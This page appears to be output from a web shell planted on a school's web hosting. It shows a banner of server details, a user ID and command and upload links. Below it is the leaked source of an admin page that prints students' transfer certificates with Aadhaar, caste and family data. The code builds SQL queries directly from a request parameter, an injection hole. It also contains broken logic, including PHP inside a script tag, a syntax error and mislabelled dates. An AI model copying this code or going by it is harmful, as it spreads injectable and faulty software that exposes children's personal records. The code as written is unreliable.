|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.20 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/code/../admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
$app1=$_REQUEST['flag'];
include("../link/databaseconnection.php");
$sel="select * from scholar where register_no ='$app1' order by id desc";
$res=mysqli_query($conn,$sel);
$row=mysqli_fetch_array($res,MYSQLI_BOTH);
if($row['dob']=='1')
{
$a='One';
}
if($row['dob']=='2')
{
$a='Two';
}
if($row['dob']=='3')
{
$a='Three';
}
if($row['dob']=='4')
{
$a='Four';
}
if($row['dob']=='5')
{
$a='Five';
}
if($row['dob']=='6')
{
$a='Six';
}
if($row['dob']=='7')
{
$a='Seven';
}
if($row['dob']=='8')
{
$a='Eight';
}
if($row['dob']=='9')
{
$a='Nine';
}
if($row['dob']=='10')
{
$a='Ten';
}
if($row['dob']=='11')
{
$a='Eleven';
}
if($row['dob']=='12')
{
$a='Twelve';
}
if($row['dob']=='13')
{
$a='Thirteen';
}
if($row['dob']=='14')
{
$a='Fourteen';
}
if($row['dob']=='15')
{
$a='Fifteen';
}if($row['dob']=='16')
{
$a='Sixteen';
}if($row['dob']=='17')
{
$a='Seventeen';
}if($row['dob']=='18')
{
$a='Eighteen';
}
if($row['dob']=='19')
{
$a='Nineteen';
}
if($row['dob']=='20')
{
$a='Twenty';
}
if($row['dob']=='21')
{
$a='Twenty One';
}
if($row['dob']=='22')
{
$a='Twenty Two';
}
if($row['dob']=='23')
{
$a='Twenty Three';
}
if($row['dob']=='24')
{
$a='Twenty Four';
}if($row['dob']=='25')
{
$a='Twenty Six';
}
if($row['dob']=='27')
{
$a='Twenty Seven';
}
if($row['dob']=='28')
{
$a='Twenty Eight';
}
if($row['dob']=='29')
{
$a='Twenty Nine';
}
if($row['dob']=='30')
{
$a='Thirty';
}
if($row['dob']=='31')
{
$a='Thirty One';
}
if($row['m']=='1')
{
$b='Jan';
$c='January';
}
if($row['m']=='2')
{
$b='Feb';
$c='February';
}
if($row['m']=='3')
{
$b='Mar';
$c='March';
}
if($row['m']=='4')
{
$b='Apr';
$c='April';
}
if($row['m']=='5')
{
$b='May';
$c='May';
}
if($row['m']=='6')
{
$b='Jun';
$c='Jun';
}
if($row['m']=='7')
{
$b='Jul';
$c='July';
}
if($row['m']=='8')
{
$b='Aug';
$c='August';
}
if($row['m']=='9')
{
$b='Sep';
$c='September';
}
if($row['m']=='10')
{
$b='Oct';
$c='October';
}
if($row['m']=='11')
{
$b='Nov';
$c='November';
}
if($row['m']=='12')
{
$b='Dec';
$c='December';
}
//echo"$app1";
/////////////
$number1 = $row['y'];
$no = round($number1);
$point = round($number1 - $no, 2) * 100;
$hundred = null;
$digits_1 = strlen($no);
$i = 0;
$str = array();
$words = array('0' => '', '1' => 'One', '2' => 'Two',
'3' => 'Three', '4' => 'Four', '5' => 'Five', '6' => 'Six',
'7' => 'Seven', '8' => 'Eight', '9' => 'Nine',
'10' => 'Ten', '11' => 'Eleven', '12' => 'Twelve',
'13' => 'Thirteen', '14' => 'Fourteen',
'15' => 'Fifteen', '16' => 'Sixteen', '17' => 'Seventeen',
'18' => 'Eighteen', '19' =>'Nineteen', '20' => 'Twenty',
'30' => 'Thirty', '40' => 'Forty', '50' => 'Fifty',
'60' => 'Sixty', '70' => 'Seventy',
'80' => 'Eighty', '90' => 'Ninety');
$digits = array('', 'Hundred', 'Thousand', 'Lakh', 'Crore');
while ($i < $digits_1) {
$divider = ($i == 2) ? 10 : 100;
$number1 = floor($no % $divider);
$no = floor($no / $divider);
$i += ($divider == 10) ? 1 : 2;
if ($number1) {
$plural = (($counter = count($str)) && $number1 > 9) ? 's' : null;
$hundred = ($counter == 1 && $str[0]) ? ' and ' : null;
$str [] = ($number1 < 21) ? $words[$number1] .
" " . $digits[$counter] . $plural . " " . $hundred
:
$words[floor($number1 / 10) * 10]
. " " . $words[$number1 % 10] . " "
. $digits[$counter] . $plural . " " . $hundred;
} else $str[] = null;
}
$str = array_reverse($str);
$result = implode('', $str);
$points = ($point) ?
"." . $words[$point / 10] . " " .
$words[$point = $point % 10] : '';
?>
<?php $dob_h= $a.' '. $c .' '. $result ;?>
<html>
<head>
<script src="../js/jquery-3.2.1.min.js"></script> <!--jquery-->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script>
function getIndianCurrency(float $number)
{
$decimal = round($number - ($no = floor($number)), 2) * 100;
$hundred = null;
$digits_length = strlen($no);
$i = 0;
$str = array();
$words = array(0 => '', 1 => 'one', 2 => 'two',
3 => 'three', 4 => 'four', 5 => 'five', 6 => 'six',
7 => 'seven', 8 => 'eight', 9 => 'nine',
10 => 'ten', 11 => 'eleven', 12 => 'twelve',
13 => 'thirteen', 14 => 'fourteen', 15 => 'fifteen',
16 => 'sixteen', 17 => 'seventeen', 18 => 'eighteen',
19 => 'nineteen', 20 => 'twenty', 30 => 'thirty',
40 => 'forty', 50 => 'fifty', 60 => 'sixty',
70 => 'seventy', 80 => 'eighty', 90 => 'ninety');
$digits = array('', 'hundred','thousand','lakh', 'crore');
while( $i < $digits_length ) {
$divider = ($i == 2) ? 10 : 100;
$number = floor($no % $divider);
$no = floor($no / $divider);
$i += $divider == 10 ? 1 : 2;
if ($number) {
$plural = (($counter = count($str)) && $number > 9) ? 's' : null;
$hundred = ($counter == 1 && $str[0]) ? ' and ' : null;
$str [] = ($number < 21) ? $words[$number].' '. $digits[$counter]. $plural.' '.$hundred:$words[floor($number / 10) * 10].' '.$words[$number % 10]. ' '.$digits[$counter].$plural.' '.$hundred;
} else $str[] = null;
}
$Rupees = implode('', array_reverse($str));
$paise = ($decimal) ? "." . ($words[$decimal / 10] . " " . $words[$decimal % 10]) . ' Paise' : '';
return ($Rupees ? $Rupees . 'Rupees ' : '') . $paise .;
}
///
</script>
<script>
$(document).ready(function(){
$("#pay").click(function(){
window.location.href='bil.php';
});
});
$(document).ready(function(){
$("#print").click(function(){
$("#pay").css("visibility","hidden");
$("#back").css("visibility","hidden");
$("#print").css("visibility","hidden");
window.print();
});
$("#back").click(function(){
window.location.href='scholar.php';
});
});
</script>
<style>
td{font-size:13px}
#name2{font-size:13px}
#name3{font-size:13px}
</style>
<link href="../css/student_print.css" rel="stylesheet" type="text/css">
</head>
<body>
<table frame="border" width="100%" >
<tr>
<td><img src="../images/logo.png" style='height:90px;width:100px'><br><span style='font-size:9px'>THE LAND OF WISDOM</span></td><td colspan='4' STYLE='font-weight:bold;text-align:CENTER;'> <span style='color:black;font-size:27px;margin-top:opx'><?php echo $row['c_name']?></span><br/><span style='font-size:14px'>Semra No. 1 Chargawan Gorakhpur, [Uttar Prades]-273013</span></center></td>
<td style="font-size:13px;font-weight:bold"> Registration/Affilation No. <br/> AFFL NO-C/80/2014<br/>Email Id -spacificpublic@gmail.com</td></tr>
</table>
<table cellspacing="0" width="100%" border="0px" height='40px'>
<tr>
<td colspan='5' style="border:1px solid"><center><h2><span >SCHOLAR'S REGISTER & TRANSFER CERTIFICATE</span></h2></td>
</tr>
<tr>
<td style="border-left: 1px solid">
<span id="name2" style="font-size:13px">Admission File No. - <span id="name3" style='color:black'><?php echo $row['adm_no'];?></span></span>
<td><span id="name2" style="font-size:13px"> Withdrawal File No.</span> - ;<span id="name3" style='color:black'><?php echo $row['withdrawal_no'];?></span></td>
<td><span id="name2" style="font-size:13px">Transfer Certificate No.</span> - <span id="name3" style='color:black'><?php echo $row['tc_no'];?></span></td>
<td ><span style='font-size:13px' id="name2">S.R. No.</span>- <span id="name3" style='color:black'><?php echo $row['register_no'];?></span>
</td>
<td style="border-right: 1px solid"><span style='font-size:13px' id="name2"> Reg. No.</span>- <span id="name3" style='color:black'><?php echo $row['reg'];?></span>
</td>
</tr>
</table>
<table style="width:100%;border: 1px solid black;border-collapse: collapse;" frame="border">
<tr style='border:1px solid'>
<td colspan='2'style='border:1px solid;font-weight:bold;font-size:13px'>Name of the Scholar with Nationality, Caste and Religion</td>
<td colspan='2' style='border:1px solid;font-weight:bold;font-size:13px'>Name, Occupation and Address of Parents / Guardians </td>
<td style='border:1px solid;font-weight:bold;font-size:13px'>Date Of birth of the scholar</td>
<td style='border:1px solid;font-weight:bold;font-size:13px'>Last institute attended by the scholar</td>
</tr>
<tr >
<td >Student's Name -</td><td style="border-left:none;font-weight:bold"><?php echo $row['name'];?></td>
<td style='border-left:1px solid'>Father's Name -</td><td style='font-weight:bold;font-size:12px'><?php echo $row['fname'];?></td>
<td rowspan='4' style='border:1px solid;font-weight:bold;font-size:12px;text-align:center'><?php echo $row['dob'].'-'.$b.'-'.$row['y'];?></td>
<td rowspan='4' style='border:1px solid;font-weight:bold;font-size:12px'><?php echo $row['last_school'];?></td>
</tr>
<tr>
<td>Religion -</td><td style="border-left:none;font-weight:bold;font-size:12px"><?php echo $row['religion'];?></td>
<td style='border-left:1px solid'>Mother's Name -</td><td style='font-weight:bold;font-size:12px'><?php echo $row['fname'];?></td>
</tr>
<tr>
<td>Nationality -</td><td style='font-weight:bold'><?php echo $row['nationality'];?></td>
<td style='border-left:1px solid'>Occupation -</td><td style='font-weight:bold;font-size:12px'><?php echo $row['occupation'];?></td>
</tr>
<tr>
<td>Caste -</td><td style='font-weight:bold;font-size:12px'><?php echo $row['caste'];?></td>
<td style='border-left:1px solid'>Address -</td><td style='font-weight:bold;font-size:12px'><?php echo $row['address'];?></td>
</tr>
<tr style='border:1px solid'>
<td colspan='3'><center> Aadhar No. - <span style='font-weight:bold'><?php echo $row['adhar']?></span></center></td><td colspan='4'><center> Pen No. - <span style='font-weight:bold'> <?php echo $row['pen']?></span></center></td>
</tr>
<tr>
<td colspan='6'> Date of birth in words -<span style='font-weight:bold'> <?php echo $dob_h;?></span></td>
</tr>
</table>
<table cellspacing="0" width="100%" border="1px" height='120px'>
<tr align="center">
<td><span style='font-weight:bold'>Sr. No.</span></td>
<td><span style='font-weight:bold'>Class</span></td>
<td><span style='font-weight:bold'>Date of Admission</span></td>
<td><span style='font-weight:bold'>Date of Promotion</span></td>
<td><span style='font-weight:bold'>Date of Removal</span></td>
<td><span style='font-weight:bold;font-size:10px'>Cause of removal ,e.g non-Payment of fee,<br/> transfer of family expulsion etc.</span></td>
<td><span style='font-weight:bold' >Year</span></td>
<td><span style='font-weight:bold'>Conduct</span></td>
<td><span style='font-weight:bold'> Work</span></td>
<td><span style='font-weight:bold'> Signature</span></td>
</tr>
<?php
$sel1="select * from promotion where scholar ='$app1'";
$res1=mysqli_query($conn,$sel1);
$s=1;
while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
?>
<tr align="center">
<td><span ><?php echo $s++;?></span></td>
<td><span style='font-weight:bold'><?php echo $row1['class'];?></span></td>
<td><span ><?php echo $row1['date_adm'];?></span></td>
<td><span ><?php echo $row1['date_promotion'];?></span></td>
<td><span ><?php echo $row1['date_removal'];?></span></td>
<td><span ><?php echo $row1['cause_removal'];?></span></td>
<td><span ><?php echo $row1['year'];?></span></td>
<td><span ><?php echo $row1['conduct_work'];?></span></td>
<td><span ><?php echo $row1['work'];?></span></td>
<td><span ></span></td>
</tr>
<?php
}
?>
</table>
<br/>
<ol>
<li>
It is Certified that the entries as wellas details of the student have been duly checked from the Admission form and that they are complete.
</li>
<li>
It is Certified that the above student's Register has been posted up to date of the student's leaving as required by the departmental rules.
</li>
</ol>
<b>Remarks : </b>
<ol>
<li>
He / She is having good behavior and good moral character.
</li>
<li>
He / She is regular , hard working.
</li>
<li>
He / She always takespart in sport and co-curricular activities..
</li>
</ol>
<br/>
<br/>
<p style='font-weight:bold'>Prepared by :...........          Date :<?php echo $row['date']?>      Head of Institution</p>
<br/>
<p><span style='font-weight:bold'>Note-</span> If Student has been among first five , this fact should be mentioned in the column of "Work";</span></p>
</body>
</html>